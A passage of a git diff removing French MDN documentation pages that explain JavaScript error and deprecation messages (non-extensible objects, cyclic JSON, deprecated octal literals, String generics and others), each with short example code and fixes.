-TypeError: can't define property "x": "obj" is not extensible (Firefox)
-TypeError: Cannot define property: "x", object is not extensible. (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

La plupart du temps, un objet est extensible, ce qui signifie qu'on peut lui ajouter de nouvelles propriétés. Cependant, dans ce cas, on a utilisé la méthode {{jsxref("Object.preventExtensions()")}} afin de marquer l'objet comme non-extensible. Celui-ci ne pourra donc pas recevoir de nouvelles propriétés en plus de celles dont il dispose déjà.

- -

Exemples

- -

En mode strict, si on essaie d'ajouter une nouvelle propriété sur un objet non-extensible, on obtient une exception TypeError. En mode non-strict, l'ajout de la nouvelle propriété est ignoré silencieusement.

- -
'use strict';
-
-var obj = {};
-Object.preventExtensions(obj);
-
-obj.x = 'toto';
-// TypeError: can't define property "x": "obj" is not extensible
-
- -

Pour le mode strict ete le mode non-strict, un appel à {{jsxref("Object.defineProperty()")}} déclenchera une exception lorsqu'on utilisera cette méthode pour ajouter une nouvelle propriété à un objet non-extenssible.

- -
var obj = { };
-Object.preventExtensions(obj);
-
-Object.defineProperty(obj,
-  'x', { value: "toto" }
-);
-// TypeError: can't define property "x": "obj" is not extensible
-
- -

Pour corriger cet erreur, il faut retirer l'appel à {{jsxref("Object.preventExtensions()")}} pour que l'objet soit extensible, soit ajouter la propriété avant que l'objet devienne non-extensible, soit retirer l'ajout de cette propriété si elle n'est pas nécessaire.

- -
'use strict';
-
-var obj = {};
-obj.x = 'toto'; // On ajoute la propriété avant de
-               // bloquer l'ajout d'autres propriétés
-
-Object.preventExtensions(obj);
- -

Voir aussi

- -
    -
  • {{jsxref("Object.preventExtensions()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/cant_delete/index.html b/files/fr/web/javascript/reference/erreurs/cant_delete/index.html deleted file mode 100644 index ce9c8a7b0e..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_delete/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 'TypeError: property "x" is non-configurable and can''t be deleted' -slug: Web/JavaScript/Reference/Erreurs/Cant_delete -tags: - - Erreurs - - JavaScript - - Mode strict - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cant_delete ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Calling delete on 'x' is not allowed in strict mode (Edge)
-TypeError: property "x" is non-configurable and can't be deleted. (Firefox)
-TypeError: Cannot delete property 'x' of #<Object> (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}} in strict mode only.

- -

Quel est le problème ?

- -

Une instruction demande la suppression d'une propriété non-configurable. L'attribut configurable permet de contrôler si la propriété peut être supprimée de l'objet auquel elle est rattachée et si ces attributs (en dehors de writable) peuvent être modifiés.

- -

Cette erreur ne se produit qu'en mode strict. En mode non-strict, l'opération de suppression renverra false.

- -

Exemples

- -

Les propriétés non-configurables ne sont pas très fréquentes mais il est possible d'en créer grâce à {{jsxref("Object.defineProperty()")}} ou à  {{jsxref("Object.freeze()")}}.

- -
"use strict";
-var obj = Object.freeze({name: "Elsa", score: 157});
-delete obj.score;  // TypeError
-
-"use strict";
-var obj = {};
-Object.defineProperty(obj, "toto", {value: 2, configurable: false});
-delete obj.toto;  // TypeError
-
-"use strict";
-var frozenArray = Object.freeze([0, 1, 2]);
-frozenArray.pop();  // TypeError
-
- -

Certaines propriétés natives de JavaScript sont non-configurables. Peut-être que le code tente de supprimer une constante mathématique :

- -
"use strict";
-delete Math.PI;  // TypeError
- -

Voir aussi

- -
    -
  • L'opérateur delete
    • -
  • {{jsxref("Object.defineProperty()")}}
    • -
  • {{jsxref("Object.freeze()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html deleted file mode 100644 index 408d60151a..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_redefine_property/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: 'TypeError: can''t redefine non-configurable property "x"' -slug: Web/JavaScript/Reference/Erreurs/Cant_redefine_property -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Cannot modify non-writable property {x} (Edge)
-TypeError: can't redefine non-configurable property "x" (Firefox)
-TypeError: Cannot redefine property: "x" (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

On essaie de redéfinir une propriété alors que celle-ci est non-configurable. L'attribut configurable permet d'indiquer si la propriété peut être supprimée d'un objet et si ses attributs (en dehors de writable) peuvent être modifiés. Généralement, les propriétés d'un objet créées avec un initialisateur d'objet sont configurables. Cependant, lorsqu'on utilise la méthode {{jsxref("Object.defineProperty()")}}, la propriété n'est pas configurable par défaut.

- -

Exemples

- -

Propriétés non-configurables créées avec Object.defineProperty()

- -

La méthode {{jsxref("Object.defineProperty()")}} crée des propriétés non-configurables si on n'indique pas le contraire :

- -
var obj = Object.create({});
-Object.defineProperty(obj, "toto", {value: "machin"});
-
-Object.defineProperty(obj, "toto", {value: "bidule"});
-// TypeError: can't redefine non-configurable property "toto"
-
- -

Si on veut pouvoir redéfinir la propriété "toto" dans la suite du code, il faudra la créer comme étant configurable.

- -
var obj = Object.create({});
-Object.defineProperty(obj, "toto", {value: "machin", configurable: true});
-Object.defineProperty(obj, "toto", {value: "bidule", configurable: true});
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html b/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html deleted file mode 100644 index 254ee63c08..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cyclic_object_value/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 'TypeError: cyclic object value' -slug: Web/JavaScript/Reference/Erreurs/Cyclic_object_value -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cyclic_object_value ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: cyclic object value (Firefox)
-TypeError: Converting circular structure to JSON (Chrome and Opera)
-TypeError: Circular reference in value argument not supported (Edge)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Lorsqu'on appelle la méthode {{jsxref("JSON.stringify()")}}, les structures de références cycliques ne peuvent pas être converties en chaîne de caractères car le format JSON ne prend pas en charge les références (bien qu'un brouillon IETF existe).

- -

Exemples

- -

Avec une structure circulaire comme la suivante :

- -
var a = {};
-var b = {};
-a.child = b;
-b.child = a;
-
- -

{{jsxref("JSON.stringify()")}} échouera :

- -
JSON.stringify(a);
-// TypeError: cyclic object value
-
- -

Il est nécessaire de contrôler l'existence de cycles avant la conversion en chaîne de caractères. On peut par exemple fournir une fonction de remplacement comme deuxième argument de la fonction {{jsxref("JSON.stringify()")}}.

- -
const getCircularReplacer = () => {
-  const seen = new WeakSet();
-  return (key, value) => {
-    if (typeof value === "object" && value !== null) {
-      if (seen.has(value)) {
-        return;
-      }
-      seen.add(value);
-    }
-    return value;
-  };
-};
-
-JSON.stringify(circularReference, getCircularReplacer());
-// {"otherData":123}
- -

On peut également utiliser une bibliothèque ou une fonction utilitaire pour ce scénario. comme cycle.js.

- -

Voir aussi

- -
    -
  • {{jsxref("JSON.stringify")}}
    • -
  • cycle.js qui introduit deux fonctions : JSON.decycle et JSON.retrocycle qui permettent d'encoder et de décoder des structures cycliques en JSON.
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/dead_object/index.html b/files/fr/web/javascript/reference/erreurs/dead_object/index.html deleted file mode 100644 index d65d10f5e0..0000000000 --- a/files/fr/web/javascript/reference/erreurs/dead_object/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'TypeError: can''t access dead object' -slug: Web/JavaScript/Reference/Erreurs/Dead_object -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Dead_object ---- -
{{JSSidebar("Errors")}}
- -

Message

- -
TypeError: can't access dead object
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Afin d'améliorer l'utilisation de la mémoire et de prévenir les fuites mémoire, Firefox empêche les modules complémentaires de conserver des références fortes vers les objets du DOM après que leur document parent a été détruit. Un objet mort (dead) est un objet qui contient une référence forte vers un éléments du DOM, même après que celui-ci a été détruit dans le DOM. Pour éviter ces problèmes, les références aux objets du DOM d'un document étranger devraient être enregistrées dans un objet spécifique à ce document et être nettoyées lors de la suppression du document. On peut également utiliser les objets qui permettent d'enregistrer des références faibles.

- -

Vérifier si un objet est mort

- -

Components.utils fournit une méthode isDeadWrapper() qui peut être utilisée par du code privilégié :

- -
if (Components.utils.isDeadWrapper(window)) {
-  // dead
-}
- -

Du code sans privilège ne pourra pas accéder à Component.utils et pourra simplement intercepter l'exception :

- -
try {
-  String(window);
-}
-catch (e) {
-  console.log("window est problablement mort ");
-}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html b/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html deleted file mode 100644 index 17b92c307f..0000000000 --- a/files/fr/web/javascript/reference/erreurs/delete_in_strict_mode/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: >- - SyntaxError: applying the 'delete' operator to an unqualified name is - deprecated -slug: Web/JavaScript/Reference/Erreurs/Delete_in_strict_mode -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Calling delete on expression not allowed in strict mode (Edge)
-SyntaxError: applying the 'delete' operator to an unqualified name is deprecated (Firefox)
-SyntaxError: Delete of an unqualified identifier in strict mode. (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

Les variables JavaScript ne peuvent pas être supprimées grâce à l'opérateur delete. En mode strict, toute tentative de suppression d'une variable lèvera une exception.

- -

L'opérateur delete sert uniquement à supprimer des propriétés sur un objet. Les propriétés d'un objet sont « qualifiées » si elles sont configurables.

- -

Contrairement à ce qu'on pourrait penser, l'opérateur delete n'a rien à voir avec la libération de la mémoire. La gestion de la mémoire se fait indirectement en cassant les références utilisées. Pour plus d'informations, consulter les pages sur delete et la gestion de la mémoire en JavaScript.

- -

Cette erreur ne se produit qu'en mode strict. En mode non-strict, l'opération renvoie simplement false.

- -

Exemples

- -

Essayer de supprimer une variable normale avec delete ne fonctionne pas, voire lève une exception en mode strict :

- -
'use strict';
-
-var x;
-
-// ...
-
-delete x;
-
-// SyntaxError: applying the 'delete' operator to
-// an unqualified name is deprecated
-
- -

Pour libérer le contenu d'une variable, on peut la passer à {{jsxref("null")}} :

- -
'use strict';
-
-var x;
-// ...
-x = null;
-
-// x peut être ramassée par le ramasse-miettes
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html deleted file mode 100644 index da214bc213..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_caller_or_arguments_usage/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: 'ReferenceError: deprecated caller or arguments usage' -slug: Web/JavaScript/Reference/Erreurs/Deprecated_caller_or_arguments_usage -tags: - - Erreur - - JavaScript - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in this context (Edge)
-Warning: ReferenceError: deprecated caller usage (Firefox)
-Warning: ReferenceError: deprecated arguments usage (Firefox)
-TypeError: 'callee' and 'caller' cannot be accessed in strict mode. (Safari)
-
- -

Type d'erreur

- -

Un avertissement uniquement affiché en mode strict qui prend la forme d'une {{jsxref("ReferenceError")}}. L'exécution du script JavaScript n'est pas interrompue.

- -

Quel est le problème ?

- -

En mode strict, les propriétés {{jsxref("Function.caller")}} et/ou {{jsxref("Function.arguments")}} sont utilisées alors qu'elles ne devraient pas l'être. Ces propriétés sont dépréciées car elles font fuiter des informations sur l'appelant de la fonction et ne sont pas standards. De plus, ces propriétés rendent certaines optimisations plus complexe et peuvent nuire aux performances.

- -

Exemples

- -

Utilisation de function.caller ou de arguments.callee.caller

- -

{{jsxref("Function.caller")}} et arguments.callee.caller sont dépréciées (se référer aux articles de la référence pour plus d'informations).

- -
"use strict";
-
-function myFunc() {
-  if (myFunc.caller == null) {
-    return 'La fonction a été appelée depuis la portée globale !';
-  } else {
-    return 'L\'appelant est ' + myFunc.caller;
-  }
-}
-
-myFunc();
-// Warning: ReferenceError: deprecated caller usage
-// "La fonction a été appelée depuis la portée globale !"
- -

Function.arguments

- -

{{jsxref("Function.arguments")}} est dépréciée (se référer à l'article sur cette propriété pour plus d'informations).

- -
"use strict";
-
-function f(n) { g(n - 1); }
-
-function g(n) {
-  console.log('before: ' + g.arguments[0]);
-  if (n > 0) { f(n); }
-  console.log('after: ' + g.arguments[0]);
-}
-
-f(2);
-
-console.log('returned: ' + g.arguments);
-// Warning: ReferenceError: deprecated arguments usage
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html deleted file mode 100644 index ac1b7d53b9..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_expression_closures/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: 'Warning: expression closures are deprecated' -slug: Web/JavaScript/Reference/Erreurs/Deprecated_expression_closures -tags: - - Avertissement - - JavaScript - - Warning -translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: expression closures are deprecated
-
- -

Type d'erreur

- -

Un avertissement, l'exécution du code JavaScript ne sera pas interrompue.

- -

Quel est le problème ?

- -

La syntaxe non-standard avec une expression de fermeture est dépréciée et ne devrait plus être utilisée. Cette syntaxe sera complètement retirée avec le bug {{bug(1083458)}} et les scripts qui l'utilisent déclencheront alors une exception {{jsxref("SyntaxError")}}.

- -

Exemples

- -

Syntaxe dépréciée

- -

Les expression de fermeture permettent de ne pas utiliser les accolades ou les instructions return au sein d'une déclaration de fonction ou pour une définition de méthode dans un objet.

- -
var x = function() 1;
-
-var obj = {
-  count: function() 1
-};
-
- -

Syntaxe standard

- -

Pour convertir cette syntaxe non-standard en une syntaxe standard, il suffit d'ajouter des accolades et l'instruction return.

- -
var x = function() { return 1; }
-
-var obj = {
-  count: function() { return 1; }
-};
-
- -

Syntaxe standard avec les fonctions fléchées

- -

On peut aussi utiliser les fonctions fléchées :

- -
var x = () => 1;
- -

Syntaxe standard avec la notation raccourcie pour les méthodes

- -

On retrouve parfois les expressions de fermeture dans les accesseurs et les mutateurs, par exemple :

- -
var obj = {
-  get x() 1,
-  set x(v) this.v = v
-};
-
- -

Grâce aux définitions de méthodes ES2015, on peut convertir le fragment de code précédent en :

- -
var obj = {
-  get x() { return 1 },
-  set x(v) { this.v = v }
-};
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html deleted file mode 100644 index 72f6d1f3b2..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_octal/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: 'SyntaxError: "0"-prefixed octal literals and octal escape seq. are deprecated' -slug: Web/JavaScript/Reference/Erreurs/Deprecated_octal -tags: - - Erreurs - - JavaScript - - Mode strict - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Deprecated_octal ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Octal numeric literals and escape characters not allowed in strict mode (Edge)
-SyntaxError:
-"0"-prefixed octal literals and octal escape sequences are deprecated;
-for octal literals use the "0o" prefix instead
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}, uniquement en mode strict.

- -

Quel est le problème ?

- -

Les littéraux en base octale et les séquences d'échappement octales sont dépréciées et lèvent une exception {{jsxref("SyntaxError")}} en mode strict. À partir d'ECMAScript 2015, la syntaxe standard utilise un zéro suivi de la lettre « o » (en minuscule ou en majuscule) (0o or 0O).

- -

Exemples

- -

Littéraux en base octale préfixés par 0

- -
"use strict";
-
-03;
-
-// SyntaxError: "0"-prefixed octal literals and octal escape sequences
-// are deprecated
- -

Séquences d'échappement en base octale

- -
"use strict";
-
-"\251";
-
-// SyntaxError: "0"-prefixed octal literals and octal escape sequences
-// are deprecated
-
- -

Littéraux valides

- -

Pour former un littéral en base octal, on pourra utiliser un zéro suivi de la lettre « o » :

- -
0o3;
-
- -

Pour former une séquence d'échappement en base octale, on écrira une séquence d'échappement en base hexadécimale :

- -
'\xA9';
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html deleted file mode 100644 index a9e4ce66ff..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_source_map_pragma/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: >- - SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# - instead -slug: Web/JavaScript/Reference/Erreurs/Deprecated_source_map_pragma -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead
-
-Warning: SyntaxError: Using //@ to indicate sourceMappingURL pragmas is deprecated. Use //# instead
-
- -

Type d'erreur

- -

Un avertissement prenant la forme d'une exception {{jsxref("SyntaxError")}}. L'exécution du code JavaScript n'est pas interrompue.

- -

Quel est le problème ?

- -

Une syntaxe dépréciée a été utilisée pour indiquer une correspondance de source (source map) dans le code JavaScript.

- -

Il arrive souvent que les fichiers sources JavaScript soient combinés et minifiés afin que le transfert depuis le serveur vers le client soit plus efficace. Grâce aux correspondances de source (ou source maps), le débogueur peut utiliser les sources des fichiers correspondants aux fichiers minifiés.

- -

La spécification sur cet outil a évolué car il existait un conflit de syntaxe avec IE (après //@cc_on, la correspondance était interprétée comme un test conditionnel de compilation du moteur JScript). Ce commentaire de compilation conditionnelle pour IE est peu connu mais son existence entraînait des erreurs avec jQuery et d'autres bibliothèques.

- -

Exemples

- -

Syntaxe dépréciée

- -

La syntaxe utilisant l'arobase (@) est dépréciée :

- -
//@ sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
-
- -

Syntaxe standard

- -

Il faut utiliser le dièse (#) :

- -
//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
- -

Autrement, on peut indiquer la correspondance dans un en-tête {{HTTPHeader("SourceMap")}} pour servir le fichier JavaScript afin d'éviter tout commentaire :

- -
X-SourceMap: /path/to/file.js.map
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html deleted file mode 100644 index 29cedde5b1..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_string_generics/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: 'Warning: String.x is deprecated; use String.prototype.x instead' -slug: Web/JavaScript/Reference/Erreurs/Deprecated_String_generics -tags: - - Avertissement - - JavaScript - - Warning -translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics ---- -
{{jsSidebar("Errors")}}
- -
Les méthodes génériques pour les chaînes de caractères ont été retirées à partir de Firefox 68.
- -

Message

- -
Warning: String.charAt            is deprecated; use String.prototype.charAt            instead
-Warning: String.charCodeAt        is deprecated; use String.prototype.charCodeAt        instead
-Warning: String.concat            is deprecated; use String.prototype.concat            instead
-Warning: String.contains          is deprecated; use String.prototype.contains          instead
-Warning: String.endsWith          is deprecated; use String.prototype.endsWith          instead
-Warning: String.includes          is deprecated; use String.prototype.includes          instead
-Warning: String.indexOf           is deprecated; use String.prototype.indexOf           instead
-Warning: String.lastIndexOf       is deprecated; use String.prototype.lastIndexOf       instead
-Warning: String.localeCompare     is deprecated; use String.prototype.localeCompare     instead
-Warning: String.match             is deprecated; use String.prototype.match             instead
-Warning: String.normalize         is deprecated; use String.prototype.normalize         instead
-Warning: String.replace           is deprecated; use String.prototype.replace           instead
-Warning: String.search            is deprecated; use String.prototype.search            instead
-Warning: String.slice             is deprecated; use String.prototype.slice             instead
-Warning: String.split             is deprecated; use String.prototype.split             instead
-Warning: String.startsWith        is deprecated; use String.prototype.startsWith        instead
-Warning: String.substr            is deprecated; use String.prototype.substr            instead
-Warning: String.substring         is deprecated; use String.prototype.substring         instead
-Warning: String.toLocaleLowerCase is deprecated; use String.prototype.toLocaleLowerCase instead
-Warning: String.toLocaleUpperCase is deprecated; use String.prototype.toLocaleUpperCase instead
-Warning: String.toLowerCase       is deprecated; use String.prototype.toLowerCase       instead
-Warning: String.toUpperCase       is deprecated; use String.prototype.toUpperCase       instead
-Warning: String.trim              is deprecated; use String.prototype.trim              instead
-Warning: String.trimLeft          is deprecated; use String.prototype.trimLeft          instead
-Warning: String.trimRight         is deprecated; use String.prototype.trimRight         instead
-
- -

Type d'erreur

- -

Un avertissement, l'exécution du script n'est pas interrompue.

- -

Quel est le problème ?

- -

Les méthodes génériques non-standards de {{jsxref("String")}} sont dépréciées et ont été retirées à partir de Firefox 68 (il n'y a pas de prise en charge des navigateurs en dehors de Firefox). Les méthodes génériques sont des méthodes utilisées pour manipuler les instances de ce type d'objet et qui sont disponibles sur l'objet String, ce qui permet de les appliquer à n'importe quel objet.

- -

Exemples

- -

Syntaxe dépréciée

- -
var num = 15;
-String.replace(num, /5/, '2');
- -

Syntaxe standard

- -
var num = 15;
-String(num).replace(/5/, '2');
-
- -

Shim

- -

Voici une méthode qui permet d'avoir les méthodes génériques au sein des navigateurs qui ne les prennent pas en charge :

- -
/*globals define*/
-// Assumes all supplied String instance methods already present
-// (one may use shims for these if not available)
-(function() {
-  'use strict';
-
-  var i,
-    // We could also build the array of methods with the following, but the
-    //   getOwnPropertyNames() method is non-shimable:
-    // Object.getOwnPropertyNames(String).filter(function(methodName) {
-    //   return typeof String[methodName] === 'function';
-    // });
-    methods = [
-      'contains', 'substring', 'toLowerCase', 'toUpperCase', 'charAt',
-      'charCodeAt', 'indexOf', 'lastIndexOf', 'startsWith', 'endsWith',
-      'trim', 'trimLeft', 'trimRight', 'toLocaleLowerCase', 'normalize',
-      'toLocaleUpperCase', 'localeCompare', 'match', 'search', 'slice',
-      'replace', 'split', 'substr', 'concat', 'localeCompare'
-    ],
-    methodCount = methods.length,
-    assignStringGeneric = function(methodName) {
-      var method = String.prototype[methodName];
-      String[methodName] = function(arg1) {
-        return method.apply(arg1, Array.prototype.slice.call(arguments, 1));
-      };
-    };
-
-  for (i = 0; i < methodCount; i++) {
-    assignStringGeneric(methods[i]);
-  }
-}());
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html b/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html deleted file mode 100644 index aa920900ad..0000000000 --- a/files/fr/web/javascript/reference/erreurs/deprecated_tolocaleformat/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'Warning: Date.prototype.toLocaleFormat is deprecated' -slug: Web/JavaScript/Reference/Erreurs/Deprecated_toLocaleFormat -tags: - - Avertissement - - JavaScript - - Warning -translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: Date.prototype.toLocaleFormat is deprecated; consider using Intl.DateTimeFormat instead
-
- -

Type d'erreur

- -

Un avertissement, l'exécution du script JavaScript n'est pas interrompue.

- -

Quel est le problème ?

- -

La méthode non-standard {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et ne devrait plus être utilisée. Elle utilise une chaîne de caractères qui indique le format avec la même syntaxe que la fonction strftime() en C. Cette fonction n'est plus disponible à partir de Firefox 58.

- -

Exemples

- -

Syntaxe dépréciée

- -

La méthode {{jsxref("Date.prototype.toLocaleFormat")}} est dépréciée et sera retirée (aucune prise en charge par les autres navigateurs en dehors de Firefox).

- -
var today = new Date();
-var date = today.toLocaleFormat('%A %e %B %Y');
-
-console.log(date);
-// En français
-// "Vendredi 10 mars 2017"
- -

Utiliser une syntaxe standard grâce à l'API ECMAScript Intl

- -

Le standard ECMA-402 (l'API ECMAScript Intl) définit des objets et méthodes standards qui permettent de mettre en forme des dates et heures (disponible à partir de Chrome 24, de Firefox 29, d'IE11 et de  Safari10).

- -

Si on souhaite uniquement formater une date, on pourra utiliser la méthode {{jsxref("Date.prototype.toLocaleDateString")}}.

- -
var today = new Date();
-var options = { weekday: 'long', year: 'numeric',
-                month: 'long', day: 'numeric' };
-var date = today.toLocaleDateString('fr-FR', options);
-
-console.log(date);
-// "Vendredi 10 mars 2017"
-
- -

Si on manipule plus de dates, on peut utiliser l'objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} qui permet de mettre en cache certains des calculs afin d'avoir une mise en forme rapide (ce qui s'avère utile lorsqu'on a une boucle par exemple) :

- -
var options = { weekday: 'long', year: 'numeric',
-                month: 'long', day: 'numeric' };
-var dateFormatter = new Intl.DateTimeFormat('de-DE', options)
-
-var dates = [Date.UTC(2012, 11, 20, 3, 0, 0),
-             Date.UTC(2014, 04, 12, 8, 0, 0)];
-
-dates.forEach(date => console.log(dateFormatter.format(date)));
-
-// "Donnerstag, 20. Dezember 2012"
-// "Montag, 12. Mai 2014"
-
- -

Utiliser les méthodes de l'objet Date

- -

L'objet {{jsxref("Date")}} dispose de plusieurs méthodes qui permettent de construire une chaîne de caractères pour une date donnée. Ainsi

- -
(new Date()).toLocaleFormat("%Y%m%d");
-// "20170310"
-
- -

Pourra être converti en :

- -
let now = new Date();
-let date = now.getFullYear() * 10000 +
-          (now.getMonth() + 1) * 100 + now.getDate();
-
-console.log(date);
-// "20170310"
- -

Voir aussi

- -
    -
  • {{jsxref("Date.prototype.toLocaleFormat")}}
    • -
  • {{jsxref("Date.prototype.toLocaleDateString")}}
    • -
  • {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html b/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html deleted file mode 100644 index 044132307f..0000000000 --- a/files/fr/web/javascript/reference/erreurs/equal_as_assign/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: 'SyntaxError: test for equality (==) mistyped as assignment (=)?' -slug: Web/JavaScript/Reference/Erreurs/Equal_as_assign -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: SyntaxError: test for equality (==) mistyped as assignment (=)?
-
- -

Type d'erreur

- -

Uniquement pour Firefox. Un avertissement sous la forme d'une exception {{jsxref("SyntaxError")}}, généré uniquement si la préférence javascript.options.strict vaut true.

- -

Quel est le problème ?

- -

Le code utilise une affectation (=) là où on attendrait un test d'égalité (==). Afin d'aider au débogage, le moteur JavaScript déclenche des avertissements lorsqu'il détecte ce motif.

- -

Exemples

- -

Des affectations utilisées au sein d'expressions conditionnelles

- -

Il est conseillé de ne pas utiliser d'affectations simples dans des expressions conditionnelles (comme le test effectué avec if...else) car on peut confondre les deux à la lecture du code. Ainsi, on n'utilisera pas la forme suivante :

- -
if (x = y) {
-  // do the right thing
-}
-
- -

Si on doit effectivement affecter une variable dans une expression conditionnelle, on entourera l'affectation d'une paire de parenthèses supplémentaires afin de montrer qu'on veut bien effectuer une affectation, comme ceci :

- -
if ((x = y)) {
-  // exécuter le code
-}
- -

Autrement (généralement), on veut plutôt utiliser un opérateur de comparaison (== ou === par exemple) :

- -
if (x == y) {
-  // exécuter le code
-}
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html b/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html deleted file mode 100644 index 42ad693c09..0000000000 --- a/files/fr/web/javascript/reference/erreurs/for-each-in_loops_are_deprecated/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: 'Warning: JavaScript 1.6''s for-each-in loops are deprecated' -slug: Web/JavaScript/Reference/Erreurs/For-each-in_loops_are_deprecated -tags: - - Avertissement - - JavaScript -translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: JavaScript 1.6's for-each-in loops are deprecated; consider using ES6 for-of instead
-
- -

Type d'erreur

- -

Avertissement.

- -

Quel est le problème ?

- -

L'instruction {{jsxref("Instructions/for_each...in", "for each (variable in obj)")}} présente à partir de JavaScript 1.6 est une instruction dépréciée et est amenée à disparaître dans un avenir proche.

- -

Exemples

- -

Itérer sur un objet

- -

{{jsxref("Instructions/for_each...in", "for each...in")}} pouvait être utilisé pour parcourir les valeurs contenues dans un objet.

- -

Syntaxe dépréciée

- -
var objet = { a: 10, b: 20 };
-
-for each (var x in objet) {
-  console.log(x);        // 10
-                         // 20
-}
-
- -

Syntaxe alternative, standard

- -

